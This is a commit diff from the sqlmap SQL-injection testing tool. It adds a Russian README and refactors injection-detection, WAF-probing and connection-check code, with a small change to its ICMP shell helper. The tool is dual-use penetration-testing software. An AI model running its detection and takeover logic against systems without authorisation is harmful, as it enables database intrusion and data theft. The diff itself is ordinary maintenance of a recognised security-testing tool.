Minor update regarding #3129

* add russian doc readme

* add link head readme

.github/CONTRIBUTING.md

@@ -24,7 +24,6 @@ Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md)
 In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
 
 * Each patch should make one logical change.
-* Wrap code to 76 columns when possible.
 * Avoid tabbing, use four blank spaces instead.
 * Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:[email protected]).
 * Do not change style on numerous files in one single pull request, we can [discuss](mailto:[email protected]) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.

.travis.yml

@@ -1,4 +1,7 @@
 language: python
+sudo: false
+git:
+    depth: 1
 python:
     - "2.6"
     - "2.7"

README.md

@@ -64,5 +64,6 @@ Translations
 * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
 * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
 * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
+* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
 * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
 * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)

doc/translations/README-ru-RUS.md

@@ -0,0 +1,50 @@
+# sqlmap
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+
+sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение.
+
+Скриншоты
+----
+
+![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
+
+Вы можете посетить [набор скриншотов](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) демонстрируемые некоторые функции в wiki.
+
+Установка
+----
+
+Вы можете скачать последнюю версию tarball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/tarball/master) или последний zipball, нажав  [сюда](https://github.com/sqlmapproject/sqlmap/zipball/master).
+
+Предпочтительно вы можете загрузить sqlmap, клонируя [Git](https://github.com/sqlmapproject/sqlmap) репозиторий:
+
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap работает из коробки с [Python](http://www.python.org/download/) версии **2.6.x** и **2.7.x** на любой платформе.
+
+Использование
+----
+
+Чтобы получить список основных опций и вариантов выбора, используйте:
+
+    python sqlmap.py -h
+
+Чтобы получить список всех опций и вариантов выбора, используйте:
+
+    python sqlmap.py -hh
+
+Вы можете найти пробный запуск [тут](https://asciinema.org/a/46601).
+Чтобы получить обзор возможностей sqlmap, список поддерживаемых функций и описание всех параметров и переключателей, а также примеры, вам рекомендуется ознакомится с [пользовательским мануалом](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+
+Ссылки
+----
+
+* Основной сайт: http://sqlmap.org
+* Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* Канал новостей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues
+* Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki
+* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* Демки: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

extra/icmpsh/icmpsh_m.py

@@ -125,8 +125,12 @@ def main(src, dst):
                 # Have the IP packet contain the ICMP packet (along with its payload)
                 ip.contains(icmp)
 
-                # Send it to the target host
+                try:
-                sock.sendto(ip.get_packet(), (dst, 0))
+                    # Send it to the target host
+                    sock.sendto(ip.get_packet(), (dst, 0))
+                except socket.error, ex:
+                    sys.stderr.write("'%s'\n" % ex)
+                    sys.stderr.flush()
 
 if __name__ == '__main__':
     if len(sys.argv) < 3:

extra/shutils/newlines.py

@@ -0,0 +1,31 @@
+#! /usr/bin/env python
+
+# Runs pylint on all python scripts found in a directory tree
+# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
+
+import os
+import re
+import sys
+
+def check(filepath):
+    if filepath.endswith(".py"):
+        content = open(filepath, "rb").read()        
+        #if re.search(r"\r?\n\r?\n", content):
+        if "\n\n\n" in content:
+            index = content.find("\n\n\n")
+            print filepath, repr(content[index-30:index+30])
+
+if __name__ == "__main__":
+    try:
+        BASE_DIRECTORY = sys.argv[1]
+    except IndexError:
+        print "no directory specified, defaulting to current working directory"
+        BASE_DIRECTORY = os.getcwd()
+
+    print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY
+    for root, dirs, files in os.walk(BASE_DIRECTORY):
+        if any(_ in root for _ in ("extra", "thirdparty")):
+            continue
+        for name in files:
+            filepath = os.path.join(root, name)
+            check(filepath)

extra/shutils/precommit-hook.sh

@@ -12,21 +12,21 @@ CHECKSUM_FULLPATH=${SCRIPTPATH%/*}/$CHECKSUM
 
 git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
 
-# if [ -f $SETTINGS_FULLPATH ]
+if [ -f $SETTINGS_FULLPATH ]
-# then
+then
-#     LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"')
+    LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"')
-#     declare -a LINE
+    declare -a LINE
-#     INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
+    INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
-#     if [ -n "$INCREMENTED" ]
+    if [ -n "$INCREMENTED" ]
-#     then
+    then
-#         sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH
+        sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH
-#         echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}"
+        echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}"
-#     else
+    else
-#         echo "Something went wrong in VERSION increment"
+        echo "Something went wrong in VERSION increment"
-#         exit 1
+        exit 1
-#     fi
+    fi
-#     git add "$SETTINGS_FULLPATH"
+    git add "$SETTINGS_FULLPATH"
-# fi
+fi
 
 truncate -s 0 "$CHECKSUM_FULLPATH"
 cd $PROJECT_FULLPATH && for i in $(find . -name "*.py" -o -name "*.xml" -o -iname "*_" | sort); do git ls-files $i --error-unmatch &>/dev/null && md5sum $i | stdbuf -i0 -o0 -e0 sed 's/\.\///' >> "$CHECKSUM_FULLPATH"; git add "$CHECKSUM_FULLPATH"; done

lib/controller/checks.py

@@ -47,6 +47,7 @@ from lib.core.common import unArrayizeValue
 from lib.core.common import urlencode
 from lib.core.common import wasLastResponseDBMSError
 from lib.core.common import wasLastResponseHTTPError
+from lib.core.convert import unicodeencode
 from lib.core.defaults import defaults
 from lib.core.data import conf
 from lib.core.data import kb
@@ -54,6 +55,7 @@ from lib.core.data import logger
 from lib.core.datatype import AttribDict
 from lib.core.datatype import InjectionDict
 from lib.core.decorators import cachedmethod
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import DBMS
 from lib.core.enums import HASHDB_KEYS
@@ -146,8 +148,7 @@ def checkSqlInjection(place, parameter, value):
                 # error message, simple heuristic check or via DBMS-specific
                 # payload), ask the user to limit the tests to the fingerprinted
                 # DBMS
-                if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), \
+                if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
-                   SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                     msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
                     msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
                     kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
@@ -156,9 +157,7 @@ def checkSqlInjection(place, parameter, value):
             # message, via simple heuristic check or via DBMS-specific
             # payload), ask the user to extend the tests to all DBMS-specific,
             # regardless of --level and --risk values provided
-            if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) \
+            if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
-               and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or \
-               kb.heuristicDbms or injection.dbms):
                 msg = "for the remaining tests, do you want to include all tests "
                 msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
                 msg += "level (%d)" % conf.level if conf.level < 5 else ""
@@ -206,7 +205,7 @@ def checkSqlInjection(place, parameter, value):
                     continue
 
                 match = re.search(r"(\d+)-(\d+)", test.request.columns)
-                if injection.data and match:
+                if match and injection.data:
                     lower, upper = int(match.group(1)), int(match.group(2))
                     for _ in (lower, upper):
                         if _ > 1:
@@ -242,9 +241,7 @@ def checkSqlInjection(place, parameter, value):
 
             # Skip tests if title, vector or DBMS is not included by the
             # given test filter
-            if conf.testFilter and not any(conf.testFilter in str(item) or \
+            if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
-               re.search(conf.testFilter, str(item), re.I) for item in \
-               (test.title, test.vector, payloadDbms)):
                     debugMsg = "skipping test '%s' because its " % title
                     debugMsg += "name/vector/DBMS is not included by the given filter"
                     logger.debug(debugMsg)
@@ -252,9 +249,7 @@ def checkSqlInjection(place, parameter, value):
 
             # Skip tests if title, vector or DBMS is included by the
             # given skip filter
-            if conf.testSkip and any(conf.testSkip in str(item) or \
+            if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
-               re.search(conf.testSkip, str(item), re.I) for item in \
-               (test.title, test.vector, payloadDbms)):
                     debugMsg = "skipping test '%s' because its " % title
                     debugMsg += "name/vector/DBMS is included by the given skip filter"
                     logger.debug(debugMsg)
@@ -336,6 +331,23 @@ def checkSqlInjection(place, parameter, value):
                 logger.debug(debugMsg)
                 continue
 
+            if stype == PAYLOAD.TECHNIQUE.UNION:
+                match = re.search(r"(\d+)-(\d+)", test.request.columns)
+                if match and not injection.data:
+                    _ = test.request.columns.split('-')[-1]
+                    if conf.uCols is None and _.isdigit() and int(_) > 10:
+                        if kb.futileUnion is None:
+                            msg = "it is not recommended to perform "
+                            msg += "extended UNION tests if there is not "
+                            msg += "at least one other (potential) "
+                            msg += "technique found. Do you want to skip? [Y/n] "
+                            kb.futileUnion = not readInput(msg, default='Y', boolean=True)
+
+                        if kb.futileUnion is False:
+                            debugMsg = "skipping test '%s'" % title
+                            logger.debug(debugMsg)
+                            continue
+
             infoMsg = "testing '%s'" % title
             logger.info(infoMsg)
 
@@ -442,11 +454,13 @@ def checkSqlInjection(place, parameter, value):
                         boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
                         boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                         reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
+
                         if reqPayload:
-                            if reqPayload in seenPayload:
+                            stripPayload = re.sub(r"(\A|\b|_)([A-Za-z]{4}((?<!LIKE))|\d+)(_|\b|\Z)", r"\g<1>.\g<4>", reqPayload)
+                            if stripPayload in seenPayload:
                                 continue
                             else:
-                                seenPayload.add(reqPayload)
+                                seenPayload.add(stripPayload)
                     else:
                         reqPayload = None
 
@@ -498,12 +512,16 @@ def checkSqlInjection(place, parameter, value):
                                         errorResult = Request.queryPage(errorPayload, place, raise404=False)
                                         if errorResult:
                                             continue
-                                    elif not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+                                    elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                         _ = comparison(kb.heuristicPage, None, getRatioValue=True)
                                         if _ > kb.matchRatio:
                                             kb.matchRatio = _
                                             logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio)
 
+                                    # Reducing false-positive "appears" messages in heavily dynamic environment
+                                    if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
+                                        continue
+
                                     injectable = True
 
                                 elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
@@ -588,10 +606,10 @@ def checkSqlInjection(place, parameter, value):
                             # body for the test's <grep> regular expression
                             try:
                                 page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
-                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
+                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
-                                        or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) \
+                                output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
-                                        or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) \
+                                output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
-                                        or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
+                                output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
 
                                 if output:
                                     result = output == "1"
@@ -660,18 +678,6 @@ def checkSqlInjection(place, parameter, value):
                                 infoMsg += "there is at least one other (potential) "
                                 infoMsg += "technique found"
                                 singleTimeLogMessage(infoMsg)
-                            elif not injection.data:
-                                _ = test.request.columns.split('-')[-1]
-                                if _.isdigit() and int(_) > 10:
-                                    if kb.futileUnion is None:
-                                        msg = "it is not recommended to perform "
-                                        msg += "extended UNION tests if there is not "
-                                        msg += "at least one other (potential) "
-                                        msg += "technique found. Do you want to skip? [Y/n] "
-
-                                        kb.futileUnion = not readInput(msg, default='Y', boolean=True)
-                                    if kb.futileUnion is False:
-                                        continue
 
                             # Test for UNION query SQL injection
                             reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
@@ -688,7 +694,7 @@ def checkSqlInjection(place, parameter, value):
 
                         kb.previousMethod = method
 
-                        if conf.dummy or conf.offline:
+                        if conf.offline:
                             injectable = False
 
                     # If the injection test was successful feed the injection
@@ -777,7 +783,7 @@ def checkSqlInjection(place, parameter, value):
 
             if conf.multipleTargets:
                 msg = "how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
-                choice = readInput(msg, default='T', checkBatch=False).upper()
+                choice = readInput(msg, default='X', checkBatch=False).upper()
             else:
                 msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
                 choice = readInput(msg, default='S', checkBatch=False).upper()
@@ -830,6 +836,7 @@ def checkSqlInjection(place, parameter, value):
 
     return injection
 
+@stackedmethod
 def heuristicCheckDbms(injection):
     """
     This functions is called when boolean-based blind is identified with a
@@ -866,6 +873,7 @@ def heuristicCheckDbms(injection):
 
     return retVal
 
+@stackedmethod
 def checkFalsePositives(injection):
     """
     Checks for false positives (only in single special cases)
@@ -873,8 +881,7 @@ def checkFalsePositives(injection):
 
     retVal = True
 
-    if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\
+    if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
-      (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
         pushValue(kb.injection)
 
         infoMsg = "checking if the injection point on %s " % injection.place
@@ -928,6 +935,7 @@ def checkFalsePositives(injection):
 
     return retVal
 
+@stackedmethod
 def checkSuhosinPatch(injection):
     """
     Checks for existence of Suhosin-patch (and alike) protection mechanism(s)
@@ -951,6 +959,7 @@ def checkSuhosinPatch(injection):
 
         kb.injection = popValue()
 
+@stackedmethod
 def checkFilteredChars(injection):
     debugMsg = "checking for filtered characters"
     logger.debug(debugMsg)
@@ -971,7 +980,7 @@ def checkFilteredChars(injection):
 
     # inference techniques depend on character '>'
     if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)):
-        if not checkBooleanExpression("%d>%d" % (randInt+1, randInt)):
+        if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)):
             warnMsg = "it appears that the character '>' is "
             warnMsg += "filtered by the back-end server. You are strongly "
             warnMsg += "advised to rerun with the '--tamper=between'"
@@ -985,6 +994,11 @@ def heuristicCheckSqlInjection(place, parameter):
         logger.debug(debugMsg)
         return None
 
+    if kb.heavilyDynamic:
+        debugMsg = "heuristic check skipped because of heavy dynamicity"
+        logger.debug(debugMsg)
+        return None
+
     origValue = conf.paramDict[place][parameter]
     paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
 
@@ -1171,6 +1185,8 @@ def checkDynamicContent(firstPage, secondPage):
             warnMsg += "sqlmap is going to retry the request(s)"
             singleTimeLogMessage(warnMsg, logging.CRITICAL)
 
+            kb.heavilyDynamic = True
+
             secondPage, _, _ = Request.queryPage(content=True)
             findDynamicContent(firstPage, secondPage)
 
@@ -1306,6 +1322,7 @@ def checkRegexp():
 
     return True
 
+@stackedmethod
 def checkWaf():
     """
     Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
@@ -1332,14 +1349,19 @@ def checkWaf():
     retVal = False
     payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD)
 
-    value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
+    if PLACE.URI in conf.parameters:
-    value += agent.addPayloadDelimiters("%s=%s" % (randomStr(), payload))
+        place = PLACE.POST
+        value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
+    else:
+        place = PLACE.GET
+        value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
+        value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
 
     pushValue(conf.timeout)
     conf.timeout = IDS_WAF_CHECK_TIMEOUT
 
     try:
-        retVal = Request.queryPage(place=PLACE.GET, value=value, getRatioValue=True, noteResponseTime=False, silent=True)[1] < IDS_WAF_CHECK_RATIO
+        retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, disableTampering=True)[1] < IDS_WAF_CHECK_RATIO
     except SqlmapConnectionException:
         retVal = True
     finally:
@@ -1366,6 +1388,7 @@ def checkWaf():
 
     return retVal
 
+@stackedmethod
 def identifyWaf():
     if not conf.identifyWaf:
         return None
@@ -1450,6 +1473,7 @@ def identifyWaf():
 
     return retVal
 
+@stackedmethod
 def checkNullConnection():
     """
     Reference: http://www.wisec.it/sectou.php?id=472f952d79293
@@ -1461,11 +1485,11 @@ def checkNullConnection():
     infoMsg = "testing NULL connection to the target URL"
     logger.info(infoMsg)
 
-    try:
+    pushValue(kb.pageCompress)
-        pushValue(kb.pageCompress)
+    kb.pageCompress = False
-        kb.pageCompress = False
 
-        page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD)
+    try:
+        page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False)
 
         if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
             kb.nullConnection = NULLCONNECTION.HEAD
@@ -1489,9 +1513,8 @@ def checkNullConnection():
                     infoMsg = "NULL connection is supported with 'skip-read' method"
                     logger.info(infoMsg)
 
-    except SqlmapConnectionException, ex:
+    except SqlmapConnectionException:
-        errMsg = getSafeExString(ex)
+        pass
-        raise SqlmapConnectionException(errMsg)
 
     finally:
         kb.pageCompress = popValue()
@@ -1499,18 +1522,19 @@ def checkNullConnection():
     return kb.nullConnection is not None
 
 def checkConnection(suppressOutput=False):
-    if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
+    if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", conf.hostname):
-        try:
+        if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
-            debugMsg = "resolving hostname '%s'" % conf.hostname
+            try:
-            logger.debug(debugMsg)
+                debugMsg = "resolving hostname '%s'" % conf.hostname
-            socket.getaddrinfo(conf.hostname, None)
+                logger.debug(debugMsg)
-        except socket.gaierror:
+                socket.getaddrinfo(conf.hostname, None)
-            errMsg = "host '%s' does not exist" % conf.hostname
+            except socket.gaierror:
-            raise SqlmapConnectionException(errMsg)
+                errMsg = "host '%s' does not exist" % conf.hostname
-        except socket.error, ex:
+                raise SqlmapConnectionException(errMsg)
-            errMsg = "problem occurred while "
+            except socket.error, ex:
-            errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
+                errMsg = "problem occurred while "
-            raise SqlmapConnectionException(errMsg)
+                errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
+                raise SqlmapConnectionException(errMsg)
 
     if not suppressOutput and not conf.dummy and not conf.offline:
         infoMsg = "testing connection to the target URL"
@@ -1538,6 +1562,15 @@ def checkConnection(suppressOutput=False):
         else:
             kb.errorIsNone = True
 
+        threadData = getCurrentThreadData()
+
+        if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
+            if (threadData.lastRedirectURL[1] or "").startswith("https://") and unicodeencode(conf.hostname) in threadData.lastRedirectURL[1]:
+                conf.url = re.sub(r"https?://", "https://", conf.url)
+                match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
+                port = match.group(1) if match else 443
+                conf.url = re.sub(r":\d+/", ":%s/" % port, conf.url)
+
     except SqlmapConnectionException, ex:
         if conf.ipv6:
             warnMsg = "check connection to a provided "
@@ -1568,8 +1601,8 @@ def checkInternet():
     content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0]
     return CHECK_INTERNET_VALUE in (content or "")
 
-def setVerbosity():  # Cross-linked function
+def setVerbosity():  # Cross-referenced function
     raise NotImplementedError
 
-def setWafFunctions():  # Cross-linked function
+def setWafFunctions():  # Cross-referenced function
     raise NotImplementedError

lib/controller/controller.py

@@ -43,6 +43,7 @@ from lib.core.common import urldecode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.enums import CONTENT_TYPE
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
@@ -152,12 +153,15 @@ def _formatInjection(inj):
             vector = "%s%s" % (vector, comment)
         data += "    Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
         data += "    Title: %s\n" % title
-        data += "    Payload: %s\n" % urldecode(payload, unsafe="&", plusspace=(inj.place != PLACE.GET and kb.postSpaceToPlus))
+        data += "    Payload: %s\n" % urldecode(payload, unsafe="&", spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus))
         data += "    Vector: %s\n\n" % vector if conf.verbose > 1 else "\n"
 
     return data
 
 def _showInjections():
+    if conf.wizard and kb.wizardMode:
+        kb.wizardMode = False
+
     if kb.testQueryCount > 0:
         header = "sqlmap identified the following injection point(s) with "
         header += "a total of %d HTTP(s) requests" % kb.testQueryCount
@@ -250,6 +254,7 @@ def _saveToResultsFile():
 
     conf.resultsFP.flush()
 
+@stackedmethod
 def start():
     """
     This function calls a function that performs checks on both URL
@@ -283,7 +288,7 @@ def start():
         try:
 
             if conf.checkInternet:
-                infoMsg = "[INFO] checking for Internet connection"
+                infoMsg = "checking for Internet connection"
                 logger.info(infoMsg)
 
                 if not checkInternet():
@@ -368,9 +373,8 @@ def start():
                             conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
 
                         else:
-                            if targetUrl.find("?") > -1:
+                            if '?' in targetUrl:
-                                firstPart = targetUrl[:targetUrl.find("?")]
+                                firstPart, secondPart = targetUrl.split('?', 1)
-                                secondPart = targetUrl[targetUrl.find("?") + 1:]
                                 message = "Edit GET data [default: %s]: " % secondPart
                                 test = readInput(message, default=secondPart)
                                 test = _randomFillBlankFields(test)
@@ -404,8 +408,7 @@ def start():
             if conf.nullConnection:
                 checkNullConnection()
 
-            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
+            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
-                and (kb.injection.place is None or kb.injection.parameter is None):
 
                 if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
                     # NOTE: this is not needed anymore, leaving only to display

lib/controller/handler.py

@@ -56,19 +56,19 @@ def setHandler():
     """
 
     items = [
-                  (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
+        (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
-                  (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
+        (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
-                  (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
+        (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
-                  (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
+        (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
-                  (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
+        (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
-                  (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
+        (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
-                  (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
+        (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
-                  (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
+        (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
-                  (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
+        (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
-                  (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
+        (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
-                  (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
+        (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
-                  (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
+        (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
-            ]
+    ]
 
     _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else None for _ in items)
     if _:

lib/core/agent.py

@@ -121,8 +121,8 @@ class Agent(object):
                 origValue = _.split('=', 1)[1] if '=' in _ else ""
